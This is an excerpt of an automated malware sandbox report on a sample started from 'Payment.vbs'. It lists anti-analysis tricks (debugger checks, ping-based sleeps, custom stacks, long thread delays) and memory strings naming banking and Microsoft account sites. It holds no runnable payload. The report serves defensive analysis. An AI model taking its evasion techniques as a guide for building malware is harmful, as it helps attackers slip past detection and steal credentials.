Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\convert.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\convert.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\convert.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\convert.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\convert.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\convert.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\convert.exe	API/Special instruction interceptor: Address: 7FFDB4430154

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping 127.0.0.1 -n 10			Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe

Code function: 10_2_0397D1C0 rdtsc

10_2_0397D1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2870	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2356	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 901	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 499	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4538	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5231	Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe	API coverage: 0.8 %
Source: C:\Windows\SysWOW64\convert.exe	API coverage: 1.9 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5648	Thread sleep count: 2870 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6400	Thread sleep count: 2356 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3224	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5340	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4816	Thread sleep count: 4538 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4416	Thread sleep count: 5231 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3320	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\eOzLOCLFzIjDwxUAupKFqaMuNUkECYDhsxWHgpZJjczOduhxqpSFlANYMiqNahFLJmLTxn\mNqSPruzCXM.exe TID: 5984	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2084	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: 62v53-Zo.19.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 62v53-Zo.19.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 62v53-Zo.19.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: wscript.exe, 00000000.00000003.2237011145.000002AAA8628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pBimoLvibqemuGW@
Source: 62v53-Zo.19.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: 62v53-Zo.19.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: wscript.exe, 00000000.00000003.2356219177.000002AAAA601000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pBimoLvibqemuGW
Source: 62v53-Zo.19.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 62v53-Zo.19.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: svchost.exe, 0000001B.00000002.3539084412.0000021B3DA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.3540606559.0000021B42E42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.3540671763.0000021B42E56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 62v53-Zo.19.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 62v53-Zo.19.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 62v53-Zo.19.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: 62v53-Zo.19.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 62v53-Zo.19.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: convert.exe, 00000013.00000002.2974673632.0000000002F44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 62v53-Zo.19.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: wscript.exe, 00000000.00000003.2355026871.000002AAA868D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2355751447.000002AAA86CA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2356926443.000002AAAA501000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236842751.000002AAAA430000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2356219177.000002AAAA601000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2236789299.000002AAA86CA000.00000004.00000020.00020000.00000000.sdmp, Payment.vbs	Binary or memory string: pBimoLvibqemuGW = "GNPOmRvLiTCWsbi"
Source: 62v53-Zo.19.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 62v53-Zo.19.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 62v53-Zo.19.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 62v53-Zo.19.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: mNqSPruzCXM.exe, 00000018.00000002.3536283378.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx
Source: powershell.exe, 00000008.00000002.2481444868.000001B5FF6D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: 62v53-Zo.19.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 62v53-Zo.19.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 62v53-Zo.19.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 62v53-Zo.19.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 62v53-Zo.19.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 62v53-Zo.19.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 62v53-Zo.19.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 62v53-Zo.19.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 62v53-Zo.19.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 62v53-Zo.19.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 62v53-Zo.19.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 62v53-Zo.19.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 62v53-Zo.19.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 62v53-Zo.19.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\convert.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\appidtel.exe

Code function: 10_2_0397D1C0 rdtsc

10_2_0397D1C0

Source: C:\Windows\SysWOW64\appidtel.exe

Code function: 10_2_004179B3 LdrLoadDll,

10_2_004179B3

Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D539D mov eax, dword ptr fs:[00000030h]	10_2_039D539D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FE388 mov eax, dword ptr fs:[00000030h]	10_2_038FE388
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FE388 mov eax, dword ptr fs:[00000030h]	10_2_038FE388
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FE388 mov eax, dword ptr fs:[00000030h]	10_2_038FE388
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0395739A mov eax, dword ptr fs:[00000030h]	10_2_0395739A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0395739A mov eax, dword ptr fs:[00000030h]	10_2_0395739A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F8397 mov eax, dword ptr fs:[00000030h]	10_2_038F8397
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F8397 mov eax, dword ptr fs:[00000030h]	10_2_038F8397
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F8397 mov eax, dword ptr fs:[00000030h]	10_2_038F8397
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392438F mov eax, dword ptr fs:[00000030h]	10_2_0392438F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392438F mov eax, dword ptr fs:[00000030h]	10_2_0392438F
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039333A0 mov eax, dword ptr fs:[00000030h]	10_2_039333A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039333A0 mov eax, dword ptr fs:[00000030h]	10_2_039333A0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039233A5 mov eax, dword ptr fs:[00000030h]	10_2_039233A5
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BB3D0 mov ecx, dword ptr fs:[00000030h]	10_2_039BB3D0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0390A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0390A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0390A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0390A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0390A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0390A3C0 mov eax, dword ptr fs:[00000030h]	10_2_0390A3C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039083C0 mov eax, dword ptr fs:[00000030h]	10_2_039083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039083C0 mov eax, dword ptr fs:[00000030h]	10_2_039083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039083C0 mov eax, dword ptr fs:[00000030h]	10_2_039083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039083C0 mov eax, dword ptr fs:[00000030h]	10_2_039083C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BC3CD mov eax, dword ptr fs:[00000030h]	10_2_039BC3CD
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039863C0 mov eax, dword ptr fs:[00000030h]	10_2_039863C0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D53FC mov eax, dword ptr fs:[00000030h]	10_2_039D53FC
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E3F0 mov eax, dword ptr fs:[00000030h]	10_2_0391E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E3F0 mov eax, dword ptr fs:[00000030h]	10_2_0391E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0391E3F0 mov eax, dword ptr fs:[00000030h]	10_2_0391E3F0
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039363FF mov eax, dword ptr fs:[00000030h]	10_2_039363FF
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039103E9 mov eax, dword ptr fs:[00000030h]	10_2_039103E9
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BF3E6 mov eax, dword ptr fs:[00000030h]	10_2_039BF3E6
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03920310 mov ecx, dword ptr fs:[00000030h]	10_2_03920310
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398930B mov eax, dword ptr fs:[00000030h]	10_2_0398930B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398930B mov eax, dword ptr fs:[00000030h]	10_2_0398930B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398930B mov eax, dword ptr fs:[00000030h]	10_2_0398930B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393A30B mov eax, dword ptr fs:[00000030h]	10_2_0393A30B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393A30B mov eax, dword ptr fs:[00000030h]	10_2_0393A30B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393A30B mov eax, dword ptr fs:[00000030h]	10_2_0393A30B
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FC310 mov ecx, dword ptr fs:[00000030h]	10_2_038FC310
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C132D mov eax, dword ptr fs:[00000030h]	10_2_039C132D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039C132D mov eax, dword ptr fs:[00000030h]	10_2_039C132D
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0392F32A mov eax, dword ptr fs:[00000030h]	10_2_0392F32A
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F7330 mov eax, dword ptr fs:[00000030h]	10_2_038F7330
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FD34C mov eax, dword ptr fs:[00000030h]	10_2_038FD34C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038FD34C mov eax, dword ptr fs:[00000030h]	10_2_038FD34C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398035C mov eax, dword ptr fs:[00000030h]	10_2_0398035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398035C mov eax, dword ptr fs:[00000030h]	10_2_0398035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398035C mov eax, dword ptr fs:[00000030h]	10_2_0398035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398035C mov ecx, dword ptr fs:[00000030h]	10_2_0398035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398035C mov eax, dword ptr fs:[00000030h]	10_2_0398035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0398035C mov eax, dword ptr fs:[00000030h]	10_2_0398035C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039CA352 mov eax, dword ptr fs:[00000030h]	10_2_039CA352
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03982349 mov eax, dword ptr fs:[00000030h]	10_2_03982349
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D5341 mov eax, dword ptr fs:[00000030h]	10_2_039D5341
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9353 mov eax, dword ptr fs:[00000030h]	10_2_038F9353
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_038F9353 mov eax, dword ptr fs:[00000030h]	10_2_038F9353
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03907370 mov eax, dword ptr fs:[00000030h]	10_2_03907370
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03907370 mov eax, dword ptr fs:[00000030h]	10_2_03907370
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03907370 mov eax, dword ptr fs:[00000030h]	10_2_03907370
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039A437C mov eax, dword ptr fs:[00000030h]	10_2_039A437C
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039BF367 mov eax, dword ptr fs:[00000030h]	10_2_039BF367
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393329E mov eax, dword ptr fs:[00000030h]	10_2_0393329E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393329E mov eax, dword ptr fs:[00000030h]	10_2_0393329E
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393E284 mov eax, dword ptr fs:[00000030h]	10_2_0393E284
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_0393E284 mov eax, dword ptr fs:[00000030h]	10_2_0393E284
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03980283 mov eax, dword ptr fs:[00000030h]	10_2_03980283
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03980283 mov eax, dword ptr fs:[00000030h]	10_2_03980283
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_03980283 mov eax, dword ptr fs:[00000030h]	10_2_03980283
Source: C:\Windows\SysWOW64\appidtel.exe	Code function: 10_2_039D5283 mov eax, dword ptr fs:[00000030h]	10_2_039D5283
